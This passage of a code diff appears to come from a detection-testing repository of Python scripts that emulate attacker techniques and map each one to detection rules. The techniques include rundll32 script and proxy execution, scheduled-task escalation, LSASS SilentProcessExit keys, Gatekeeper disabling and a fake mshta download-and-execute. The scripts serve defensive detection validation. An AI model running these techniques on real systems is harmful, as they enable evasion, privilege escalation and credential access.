uuid="f9feed6d-bae3-49c6-8952-7ed8e9b0b9ef", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Privilege Escalation via Root Crontab File Modification", + "rule_id": "31151602-1de1-4301-9b75-215ac8902b75", + } + ], + siem=[ + { + "rule_name": "Privilege Escalation via Root Crontab File Modification", + "rule_id": "0ff84c42-873d-41a2-a4ed-08d74d352d01", + } + ], + techniques=["T1053"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /private/var/at/tabs/root file.") + common.temporary_file_helper("testing", file_name="/private/var/at/tabs/root") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rubeus_alike_commandline.py b/rta/rubeus_alike_commandline.py new file mode 100644 index 000000000..375dfba61 --- /dev/null +++ b/rta/rubeus_alike_commandline.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="85cf6796-5f53-4fed-a5cb-8b211882543c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Potential Credential Access via Rubeus", "rule_id": "0783f666-75ad-4015-9dd5-d39baec8f6b0"} + ], + siem=[], + techniques=["T1558"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + cmd = "Echo asreproast instead of executing it" + # Execute command + common.execute([powershell, "/c", "echo", cmd], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_inf.py b/rta/rundll32_inf.py new file mode 100644 index 000000000..eb5bcc054 --- /dev/null +++ b/rta/rundll32_inf.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import time + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7d139669-2b4c-4fc3-9a7c-bd1b643696dc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Scriptlet Execution via Rundll32", "rule_id": "93438ae3-becd-43fa-81de-645ce17afa8e"}, + {"rule_name": "Binary Proxy Execution via Rundll32", "rule_id": "f60455df-5054-49ff-9ff7-1dc4e37b6ea7"}, + ], + siem=[], + techniques=["T1218", "T1059"], +) + +INF_FILE = common.get_path("bin", "notepad_launch.inf") + + +def main(): + # http server will terminate on main thread exit + # if daemon is True + common.log("RunDLL32 with Script Object and Network Callback") + server, ip, port = common.serve_web() + callback = "http://%s:%d" % (ip, port) + common.clear_web_cache() + + common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback) + + rundll32 = "rundll32.exe" + common.execute( + [ + rundll32, + "advpack.dll," + "LaunchINFSection", + INF_FILE + ",DefaultInstall_SingleUser,1,", + ], + shell=False, + ) + + time.sleep(1) + common.log("Cleanup", log_type="-") + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_inf_callback.py b/rta/rundll32_inf_callback.py index 91f266b13..071bfc2d1 100644 --- a/rta/rundll32_inf_callback.py +++ b/rta/rundll32_inf_callback.py @@ -13,11 +13,16 @@ import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="a2edc784-e969-45f4-b8d2-fe4556b42cd6", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + INF_FILE = common.get_path("bin", "script_launch.inf") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(INF_FILE) def main(): # http server will terminate on main thread exit diff --git a/rta/rundll32_javascript_callback.py b/rta/rundll32_javascript_callback.py index 71bc347fb..ef7b4a32c 100644 --- a/rta/rundll32_javascript_callback.py +++ b/rta/rundll32_javascript_callback.py @@ -11,22 +11,28 @@ # Description: Executes javascript code with an AJAX call via RunDll32.exe from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="75687622-2e75-4612-b213-a31f923efdd4", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("RunDLL32 with Javascript Callback") server, ip, port = common.serve_web() common.clear_web_cache() url = "http://%s:%d" % (ip, port) - rundll32 = 'rundll32.exe' + rundll32 = "rundll32.exe" js = """ 'javascript:"\..\mshtml,RunHTMLApplication ";' 'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,' 'xhr.open("GET", "{url}",false);xhr.send();' - """.format(url=url) - packed_js = ''.join(s.strip() for s in js.splitlines()) + """.format( + url=url + ) + packed_js = "".join(s.strip() for s in js.splitlines()) common.execute([rundll32, packed_js]) server.shutdown() diff --git a/rta/rundll32_unusual_args.py b/rta/rundll32_unusual_args.py new file mode 100644 index 000000000..86d11f178 --- /dev/null +++ b/rta/rundll32_unusual_args.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="3ede81fa-f4e7-48fc-a939-50ad7a9a07ca", + platforms=["windows"], + endpoint=[ + {"rule_name": "Command Shell Activity Started via RunDLL32", "rule_id": "b8a0a3aa-0345-4035-b41d-f758a6c59a78"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "RunDLL32 with Unusual Arguments", "rule_id": "cfaf983e-1129-464c-b0aa-270f42e20d3d"}, + {"rule_name": "Binary Proxy Execution via Rundll32", "rule_id": "f60455df-5054-49ff-9ff7-1dc4e37b6ea7"}, + ], + siem=[], + techniques=["T1218", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + source_dll = "C:\\Windows\\System32\\IEAdvpack.dll" + dll = "C:\\Users\\Public\\IEAdvpack.dll" + common.copy_file(source_dll, dll) + + # Execute command + common.log("Spawning cmd using Rundll32") + common.execute(["rundll32.exe", f"{dll},RegisterOCX", "cmd.exe"]) + + common.remove_files(dll) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_unusual_dll_extension.py b/rta/rundll32_unusual_dll_extension.py new file mode 100644 index 000000000..14af87ca2 --- /dev/null +++ b/rta/rundll32_unusual_dll_extension.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="64a7cd38-767f-4d46-9350-feb585a32c18", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Unusual DLL Extension Loaded by Rundll32 or Regsvr32", + "rule_id": "76da5dca-ffe5-4756-85ba-3ac2e6ccf623", + }, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + rundll32 = "C:\\Users\\Public\\rundll32.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\a.rta" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(EXE_FILE, rundll32) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + + # Execute command + + common.log("Loading a.rta into fake rundll32") + common.execute([rundll32, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + common.remove_files(rundll32, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/schtask_escalation.py b/rta/schtask_escalation.py index 0d5fbe7a8..79f06cfef 100644 --- a/rta/schtask_escalation.py +++ b/rta/schtask_escalation.py @@ -15,39 +15,53 @@ import os import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1a61241e-5b1b-44ec-8c9f-3ae4652550be", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "afcce5ad-65de-4ed2-8516-5e093d3ac99a", "rule_name": "Local Scheduled Task Creation"}, + {"rule_id": "ef862985-3f13-4262-a686-5f357bbb9bc2", "rule_name": "Whoami Process Activity"}, + {"rule_id": "fd7a6052-58fa-4397-93c3-4795249ccfa2", "rule_name": "Svchost spawning Cmd"}, + ], + techniques=["T1033", "T1053", "T1059"], +) def schtasks(*args, **kwargs): - return common.execute(['schtasks.exe'] + list(args), **kwargs) + return common.execute(["schtasks.exe"] + list(args), **kwargs) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): common.log("Scheduled Task Privilege Escalation") - task_name = 'test-task-rta' - file_path = os.path.abspath('task.log') + task_name = "test-task-rta" + file_path = os.path.abspath("task.log") command = "cmd.exe /c whoami.exe > " + file_path # Delete the task if it exists - code, output = schtasks('/query', '/tn', task_name) + code, output = schtasks("/query", "/tn", task_name) if code == 0: - schtasks('/delete', '/tn', task_name, '/f') + schtasks("/delete", "/tn", task_name, "/f") - code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon') + code, output = schtasks("/create", "/tn", task_name, "/ru", "system", "/tr", command, "/sc", "onlogon") if code != 0: common.log("Error creating task", log_type="!") return # Run the task and grab the file - code, output = schtasks('/run', '/tn', task_name) + code, output = schtasks("/run", "/tn", task_name) if code == 0: time.sleep(1) common.print_file(file_path) time.sleep(1) common.remove_file(file_path) - schtasks('/delete', '/tn', task_name, '/f') + schtasks("/delete", "/tn", task_name, "/f") if __name__ == "__main__": diff --git a/rta/schtasks_xml_masqueraded.py b/rta/schtasks_xml_masqueraded.py new file mode 100644 index 000000000..644daccb7 --- /dev/null +++ b/rta/schtasks_xml_masqueraded.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4bb0b65e-8e78-4680-ab37-d6c0723f97a9", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Scheduled Task Creation via Masqueraded XML File", + "rule_id": "1efc0496-106b-4c09-b99b-91cdd17ba7b3", + } + ], + siem=[], + techniques=["T1053", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + # Execute Command + common.log("Executing command to simulate the task creation (This will not create a task)") + common.execute(["schtasks.exe", "/CREATE", "/XML", "update", "/TN", "Test", "/F"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/scp_privacy_bypass.py b/rta/scp_privacy_bypass.py new file mode 100644 index 000000000..ee0b387bd --- /dev/null +++ b/rta/scp_privacy_bypass.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="75fec962-54a4-4bb1-80ea-995269e90b30", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Privacy Control Bypass via Localhost Secure Copy", + "rule_id": "55df8e91-fd3c-4cc1-b36f-f01ded8c6da3", + } + ], + siem=[ + { + "rule_name": "Potential Privacy Control Bypass via Localhost Secure Copy", + "rule_id": "c02c8b9f-5e1d-463c-a1b0-04edcdfe1a3d", + } + ], + techniques=["T1548"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/scp" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to bypass privacy controls") + common.execute( + [masquerade, "StrictHostKeyChecking=no", "/tmp/scp test@localhost:/test"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/screensaver_child_process.py b/rta/screensaver_child_process.py new file mode 100644 index 000000000..cea3e9c39 --- /dev/null +++ b/rta/screensaver_child_process.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="adc70542-4d6e-4449-bf96-4cd44367bfbb", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Unexpected Child Process of macOS Screensaver Engine", + "rule_id": "fba012f6-7aa8-448e-8f59-cdecce2845b5", + } + ], + siem=[ + { + "rule_name": "Unexpected Child Process of macOS Screensaver Engine", + "rule_id": "48d7f54d-c29e-4430-93a9-9db6b5892270", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/ScreenSaverEngine" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to spawn bash from screensaver engine") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/screensaver_plist_mod.py b/rta/screensaver_plist_mod.py new file mode 100644 index 000000000..e382f0480 --- /dev/null +++ b/rta/screensaver_plist_mod.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ce87d15a-9b72-42c4-8721-ae4bcff86a05", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Screensaver Plist File Modified by Unexpected Process", + "rule_id": "ebae5222-71ba-4b73-afe9-8e034f8b4a04", + } + ], + siem=[ + { + "rule_name": "Screensaver Plist File Modified by Unexpected Process", + "rule_id": "e6e8912f-283f-4d0d-8442-e0dcaf49944b", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/killall" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake file screensaver plist modification commands") + common.temporary_file_helper( + "testing", + file_name="/Library/Managed Preferences/com.apple.screensaver.test.plist", + ) + common.execute([masquerade, "cfprefsd"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/scrobj_com_hijack.py b/rta/scrobj_com_hijack.py index 7dd0d7b5f..e1cd13a1d 100644 --- a/rta/scrobj_com_hijack.py +++ b/rta/scrobj_com_hijack.py @@ -9,9 +9,19 @@ # Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll". from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="ac739578-c978-429f-9454-0bbe82f993f4", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "16a52c14-7883-47af-8745-9357803f0d4c", "rule_name": "Component Object Model Hijacking"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}" subkey = "InprocServer32" diff --git a/rta/secure_file_deletion.py b/rta/secure_file_deletion.py index adc657096..791f8386a 100644 --- a/rta/secure_file_deletion.py +++ b/rta/secure_file_deletion.py @@ -8,19 +8,29 @@ import subprocess import tempfile from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="9cb42759-a161-4d93-b07d-3c8254dc8838", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "55d551c6-333b-4665-ab7e-5d14a59715ce", "rule_name": "PsExec Network Connection"}], + techniques=["T1569"], +) + + +@common.requires_os(metadata.platforms) def main(): - temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode('hex')) - sdelete_path = common.get_path("bin", 'sdelete.exe') + temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode("hex")) + sdelete_path = common.get_path("bin", "sdelete.exe") try: # Create a temporary file and close handles so it can be deleted - with open(temp_path, 'wb') as f_out: - f_out.write('A') + with open(temp_path, "wb") as f_out: + f_out.write("A") - subprocess.check_call([sdelete_path, '/accepteula', temp_path]) + subprocess.check_call([sdelete_path, "/accepteula", temp_path]) finally: common.remove_file(temp_path) diff --git a/rta/security_authtrampoline.py b/rta/security_authtrampoline.py new file mode 100644 index 000000000..765a65677 --- /dev/null +++ b/rta/security_authtrampoline.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dd39e94e-bfd7-467c-b20d-662d84c0b97e", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Execution with Explicit Credentials via Scripting", + "rule_id": "f0eb70e9-71e9-40cd-813f-bf8e8c812cb1", + } + ], + techniques=["T1078", "T1548", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/security_authtrampoline" + common.create_macos_masquerade(masquerade) + + # Execute commands + common.log("Launching fake security_authtrampoline process commands to mimic root execution.") + common.execute([masquerade], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/settingcontentms_files.py b/rta/settingcontentms_files.py index fe71224a0..6321154a2 100644 --- a/rta/settingcontentms_files.py +++ b/rta/settingcontentms_files.py @@ -13,14 +13,29 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="7dea9748-dcac-49a9-8909-bd1f5590e508", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): # Write to AppData\Local\ - common.execute(['cmd', '/c', 'echo', 'test', '>', '%APPDATA%\\test.SettingContent-ms']) + common.execute(["cmd", "/c", "echo", "test", ">", "%APPDATA%\\test.SettingContent-ms"]) time.sleep(1) - common.execute(['cmd', '/c', 'del', '%APPDATA%\\test.SettingContent-ms']) + common.execute(["cmd", "/c", "del", "%APPDATA%\\test.SettingContent-ms"]) if __name__ == "__main__": diff --git a/rta/sevenzip_encrypted.py b/rta/sevenzip_encrypted.py index 58db54130..1fa3ce940 100644 --- a/rta/sevenzip_encrypted.py +++ b/rta/sevenzip_encrypted.py @@ -13,18 +13,29 @@ import os import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6cd35061-278b-45e7-a9cb-86b48bc47884", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "45d273fb-1dca-457d-9855-bcb302180c21", "rule_name": "Encrypting Files with WinRar or 7z"}], + techniques=["T1560"], +) + SEVENZIP = common.get_path("bin", "7za.exe") def create_exfil(path=os.path.abspath("secret_stuff.txt")): common.log("Writing dummy exfil to %s" % path) - with open(path, 'wb') as f: + with open(path, "wb") as f: f.write(base64.b64encode(b"This is really secret stuff\n" * 100)) return path -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SEVENZIP) def main(password="s0l33t"): # create 7z.exe with not-7zip name, and exfil diff --git a/rta/shlayer_payload.py b/rta/shlayer_payload.py new file mode 100644 index 000000000..909e69a11 --- /dev/null +++ b/rta/shlayer_payload.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c0f3618b-a7d9-403c-8b42-572da0b20f47", + platforms=["macos"], + endpoint=[{"rule_name": "Shlayer Malware Infection", "rule_id": "3dda1ac2-86ef-41f5-ad3b-d9396383e104"}], + siem=[], + techniques=["T1105"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/curl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake curl command to download Shlayer payloads") + common.execute([masquerade, "-f0L"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/shortcut_file_suspicious_process.py b/rta/shortcut_file_suspicious_process.py index 7ba2e7aff..3aa9d4033 100644 --- a/rta/shortcut_file_suspicious_process.py +++ b/rta/shortcut_file_suspicious_process.py @@ -9,13 +9,17 @@ # Description: Create a .lnk file using cmd.exe from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="755e88fd-1fe1-44c7-b5f0-688a39fec420", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Writing dummy shortcut file") - shortcut_path = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk' - common.execute(['cmd', '/c', 'echo', 'dummy_shortcut', '>', shortcut_path]) + shortcut_path = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk" + common.execute(["cmd", "/c", "echo", "dummy_shortcut", ">", shortcut_path]) common.log("Deleting dummy shortcut file") common.remove_file(shortcut_path) diff --git a/rta/signed_proxy_file_written_exec.py b/rta/signed_proxy_file_written_exec.py new file mode 100644 index 000000000..8bfe0e8b4 --- /dev/null +++ b/rta/signed_proxy_file_written_exec.py @@ -0,0 +1,56 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cbed76ce-a373-4bc5-b1b3-f5330de18cc7", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Execution of a File Written by a Signed Binary Proxy", + "rule_id": "ccbc4a79-3bae-4623-aaef-e28a96bf538b", + }, + { + "rule_name": "Script Execution via Microsoft HTML Application", + "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", + }, + { + "rule_name": "Suspicious Windows Script Interpreter Child Process", + "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", + }, + ], + siem=[], + techniques=["T1218", "T1036", "T1055", "T1105", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + mshta = "C:\\Users\\Public\\mshta.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, mshta) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake mshta to drop and execute an .exe") + common.execute([mshta, "/c", cmd], timeout=10) + common.execute([mshta, "/c", dropped], timeout=10, kill=True) + common.remove_file(mshta) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/silentprocessexit_lsass.py b/rta/silentprocessexit_lsass.py new file mode 100644 index 000000000..4e78e438d --- /dev/null +++ b/rta/silentprocessexit_lsass.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bf2f893a-513a-41ea-9170-2c9b08a2a55f", + platforms=["windows"], + endpoint=[{"rule_name": "LSA Dump via SilentProcessExit", "rule_id": "28969fe6-0ebe-4442-b40c-dbe9b4234f5e"}], + siem=[], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating LSA SilentProcessExit reg key...") + + key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit" + value = "lsass.exe" + data = "0" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sip_provider.py b/rta/sip_provider.py index 607896f44..82d9d570b 100644 --- a/rta/sip_provider.py +++ b/rta/sip_provider.py @@ -9,6 +9,16 @@ # Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware. from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b0e3e1bb-dfa5-473a-8862-b2d1d42819ce", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f2c7b914-eda3-40c2-96ac-d23ef91776ca", "rule_name": "SIP Provider Modification"}], + techniques=["T1553"], +) CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0" @@ -45,7 +55,7 @@ else: TARGET_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) def main(): common.log("Registering SIP provider") diff --git a/rta/smb_connection.py b/rta/smb_connection.py index ecf6f6d5c..b37de0726 100644 --- a/rta/smb_connection.py +++ b/rta/smb_connection.py @@ -12,11 +12,22 @@ import socket import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b0e3e1bb-dfa5-473a-8862-b2d1d42819ce", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "c82c7d8f-fb9e-4874-a4bd-fd9e3f9becf1", "rule_name": "Direct Outbound SMB Connection"}], + techniques=["T1021"], +) + SMB_PORT = 445 -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(ip=None): ip = ip or common.get_ip() diff --git a/rta/solarmaker_backdoor.py b/rta/solarmaker_backdoor.py new file mode 100644 index 000000000..d6bb86041 --- /dev/null +++ b/rta/solarmaker_backdoor.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c2786f8d-d565-494d-84e2-5dcb2da711c4", + platforms=["windows"], + endpoint=[ + {"rule_name": "SolarMarker Backdoor Registry Modification", "rule_id": "f7e6d239-9af5-42e3-8d23-91e7188a5cb0"} + ], + siem=[], + techniques=["T1112", "T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + reg = "C:\\Windows\\System32\\reg.exe" + + payloadcontent = ( + "Just some Powershell random words to make it to the 200 characters, remember to drink water and" + "take a walk twice a day, check if your dog has enought food and water too, ah, and go to the" + "gym, you can do it!!!!" + ) + regpath = "HKEY_CURRENT_USER\\Software\\Classes\\simul8\\shell\\open" + + # Execute command + common.log("Creating reg key using fake msiexec") + common.execute( + [ + reg, + "add", + regpath, + "/v", + "command", + "/t", + "REG_SZ", + "/d", + payloadcontent, + "/f", + ], + timeout=5, + kill=True, + ) + + common.execute([reg, "delete", regpath, "/f"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/spctl_gatekeeper_bypass.py b/rta/spctl_gatekeeper_bypass.py new file mode 100644 index 000000000..6b2644c46 --- /dev/null +++ b/rta/spctl_gatekeeper_bypass.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cf71bf97-e3ba-474c-9b6b-538e5a8008b0", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Attempt to Disable Gatekeeper", "rule_id": "4da13d6e-904f-4636-81d8-6ab14b4e6ae9"}], + techniques=["T1553"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/spctl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Executing fake spctl for Gatekeeper defensive evasion.") + common.execute([masquerade, "spctl", "--master-disable"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/special_chars_zip_file.py b/rta/special_chars_zip_file.py new file mode 100644 index 000000000..c9492fdcc --- /dev/null +++ b/rta/special_chars_zip_file.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dce9cb95-b97d-4874-ab7a-26382a1ba348", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Potential Microsoft Office Sandbox Evasion", "rule_id": "d22a85c6-d2ad-4cc4-bf7b-54787473669a"} + ], + techniques=["T1497"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Creating suspicious zip file with special characters to mimic evasion of sanboxed office apps.") + common.temporary_file_helper("testing", 